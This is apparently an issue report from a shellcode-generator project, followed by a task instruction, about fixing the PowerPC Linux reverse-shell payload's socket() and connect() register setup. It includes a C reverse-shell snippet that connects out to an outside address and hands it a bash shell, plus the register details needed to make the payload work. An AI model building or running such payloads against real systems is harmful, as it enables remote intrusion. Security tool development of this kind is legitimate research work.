Powerpc socketcall is not setup properly

Generating powerpc shellcode for a reverse shell on linux does not do socketcalls properly. r4 should point to the beginning of the arguments in memory (usually on the stack, libc puts them at r1+0x14). r0 should have 0x66 and r3 should have the socketcall number. In the following code snippet, both socket() and connect() are called improperly in the generated shellcode. Once those are fixed up properly, the rest of it runs fine.

void main()
{
	int s = socket(AF_INET, SOCK_STREAM, 0);
	struct sockaddr_in addr;
	addr.sin_family = AF_INET;
	addr.sin_port = htons(31336);
	addr.sin_addr.s_addr = 0x0b0b0b0b;
	connect(s, (struct sockaddr*)&addr, sizeof(addr));
	dup2(s, 0);
	dup2(s, 1);
	dup2(s, 2);
	bash();
}

Start by locating the PowerPC Linux reverse-shell shellcode generation entry point and inspect how socket() and connect() arguments and registers are prepared. Compare the generated setup with the register requirements stated in the issue and the provided C example. Done means both calls use the correct socketcall number, argument pointer, and syscall number so the remaining shellcode runs successfully.